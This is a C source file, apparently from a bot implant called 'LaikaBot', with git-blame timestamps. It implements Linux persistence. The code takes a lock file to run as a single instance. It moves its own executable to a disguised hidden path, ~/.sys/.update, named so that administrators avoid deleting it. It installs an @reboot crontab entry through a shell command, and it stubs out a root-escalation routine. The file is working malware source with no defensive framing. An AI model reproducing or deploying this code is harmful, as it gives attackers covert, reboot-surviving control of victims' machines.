2022-04-04 17:12:37 +00:00
|
|
|
/* platform specific code for achieving persistence on linux */
|
|
|
|
|
2022-04-17 03:56:05 +00:00
|
|
|
#include <unistd.h>
|
|
|
|
#include <sys/types.h>
|
|
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/file.h>
|
|
|
|
#include <pwd.h>
|
2022-04-04 17:12:37 +00:00
|
|
|
|
|
|
|
#include "persist.h"
|
2022-04-17 03:56:05 +00:00
|
|
|
#include "lconfig.h"
|
2022-04-04 17:12:37 +00:00
|
|
|
#include "lsocket.h"
|
|
|
|
#include "lerror.h"
|
2022-04-07 23:11:58 +00:00
|
|
|
#include "lmem.h"
|
2022-04-04 17:12:37 +00:00
|
|
|
|
2022-04-17 03:56:05 +00:00
|
|
|
/* we want a semi-random file lock that is stable between similar builds,
|
|
|
|
* so we use the GIT_VERSION as our file lock :D */
|
|
|
|
#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
|
|
|
|
|
|
|
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
|
|
|
#define LAIKA_INSTALL_DIR_USER ".sys"
|
|
|
|
#define LAIKA_INSTALL_FILE_USER ".update"
|
2022-04-06 20:22:01 +00:00
|
|
|
|
2022-04-17 03:56:05 +00:00
|
|
|
static int laikaB_lockFile;
|
2022-04-04 17:12:37 +00:00
|
|
|
|
|
|
|
/* check if laika is running as super-user */
|
|
|
|
bool laikaB_checkRoot() {
|
2022-04-06 20:22:01 +00:00
|
|
|
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/* mark that laika is currently running */
|
|
|
|
void laikaB_markRunning() {
|
2022-04-17 03:56:05 +00:00
|
|
|
/* create lock file */
|
|
|
|
if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1)
|
|
|
|
LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n");
|
|
|
|
|
|
|
|
/* create lock */
|
|
|
|
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
|
|
|
|
LAIKA_ERROR("Failed to create file lock!\n");
|
|
|
|
|
|
|
|
LAIKA_DEBUG("file lock created!\n");
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/* unmark that laika is currently running */
|
|
|
|
void laikaB_unmarkRunning() {
|
2022-04-17 03:56:05 +00:00
|
|
|
/* close lock */
|
|
|
|
if (flock(laikaB_lockFile, LOCK_UN) != 0)
|
|
|
|
LAIKA_ERROR("Failed to close file lock!\n");
|
|
|
|
|
|
|
|
close(laikaB_lockFile);
|
|
|
|
LAIKA_DEBUG("file lock removed!\n");
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
2022-04-06 20:22:01 +00:00
|
|
|
void getCurrentExe(char *outPath, int pathSz) {
|
|
|
|
int sz;
|
|
|
|
|
|
|
|
/* thanks linux :D */
|
2022-04-07 23:11:58 +00:00
|
|
|
if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) == -1)
|
2022-04-06 20:22:01 +00:00
|
|
|
LAIKA_ERROR("Failed to grab current process executable path!\n");
|
|
|
|
|
|
|
|
outPath[sz] = '\0';
|
|
|
|
}
|
|
|
|
|
2022-04-07 23:11:58 +00:00
|
|
|
void getInstallPath(char *outPath, int pathSz) {
|
|
|
|
struct stat st;
|
|
|
|
const char *home;
|
|
|
|
|
|
|
|
/* try to read home from ENV, else get it from pw */
|
|
|
|
if ((home = getenv("HOME")) == NULL) {
|
|
|
|
home = getpwuid(getuid())->pw_dir;
|
|
|
|
}
|
|
|
|
|
|
|
|
/* create install directory if it doesn't exist */
|
|
|
|
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
|
2022-04-08 17:51:03 +00:00
|
|
|
if (stat(outPath, &st) == -1) {
|
|
|
|
LAIKA_DEBUG("creating '%s'...\n", outPath);
|
2022-04-07 23:11:58 +00:00
|
|
|
mkdir(outPath, 0700);
|
2022-04-08 17:51:03 +00:00
|
|
|
}
|
2022-04-06 20:22:01 +00:00
|
|
|
|
2022-04-07 23:11:58 +00:00
|
|
|
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
|
2022-04-06 20:22:01 +00:00
|
|
|
}
|
|
|
|
|
2022-04-08 17:51:03 +00:00
|
|
|
bool checkPersistCron(char *path) {
|
|
|
|
char buf[PATH_MAX + 128];
|
|
|
|
FILE *fp;
|
|
|
|
bool res = false;
|
|
|
|
|
|
|
|
if ((fp = popen("crontab -l", "r")) == NULL)
|
|
|
|
LAIKA_ERROR("popen('crontab') failed!");
|
|
|
|
|
|
|
|
while (fgets(buf, sizeof(buf), fp)) {
|
|
|
|
if (strstr(buf, path)) {
|
|
|
|
/* laika is installed in the crontab! */
|
|
|
|
res = true;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
pclose(fp);
|
|
|
|
return res;
|
|
|
|
}
|
|
|
|
|
2022-04-07 23:11:58 +00:00
|
|
|
void tryPersistCron(char *path) {
|
|
|
|
char cmd[PATH_MAX + 128];
|
|
|
|
|
|
|
|
/* should be 'safe enough' */
|
|
|
|
snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path);
|
|
|
|
|
|
|
|
/* add laika to crontab */
|
|
|
|
if (system(cmd))
|
|
|
|
LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
|
2022-04-06 20:22:01 +00:00
|
|
|
|
2022-04-07 23:11:58 +00:00
|
|
|
LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
|
2022-04-06 20:22:01 +00:00
|
|
|
}
|
|
|
|
|
2022-04-04 17:12:37 +00:00
|
|
|
/* try to gain persistance on machine */
|
|
|
|
void laikaB_tryPersist() {
|
2022-04-06 20:22:01 +00:00
|
|
|
char exePath[PATH_MAX];
|
2022-04-07 23:11:58 +00:00
|
|
|
char installPath[PATH_MAX];
|
2022-04-06 20:22:01 +00:00
|
|
|
|
2022-04-07 23:11:58 +00:00
|
|
|
/* grab current process's executable & get the install path */
|
2022-04-06 20:22:01 +00:00
|
|
|
getCurrentExe(exePath, PATH_MAX);
|
2022-04-07 23:11:58 +00:00
|
|
|
getInstallPath(installPath, PATH_MAX);
|
|
|
|
|
|
|
|
/* move exe to install path */
|
|
|
|
if (rename(exePath, installPath))
|
|
|
|
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
|
|
|
|
|
|
|
|
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
|
|
|
|
|
2022-04-10 20:45:30 +00:00
|
|
|
LAIKA_TRY
|
|
|
|
/* enable persistence on reboot via cron */
|
|
|
|
if (!checkPersistCron(installPath))
|
|
|
|
tryPersistCron(installPath);
|
|
|
|
LAIKA_CATCH
|
2022-04-11 17:01:59 +00:00
|
|
|
LAIKA_DEBUG("crontab not installed or not accessible!");
|
2022-04-10 20:45:30 +00:00
|
|
|
LAIKA_TRYEND
|
2022-04-04 17:12:37 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/* try to gain root */
|
|
|
|
void laikaB_tryRoot() {
|
|
|
|
/* stubbed */
|
|
|
|
}
|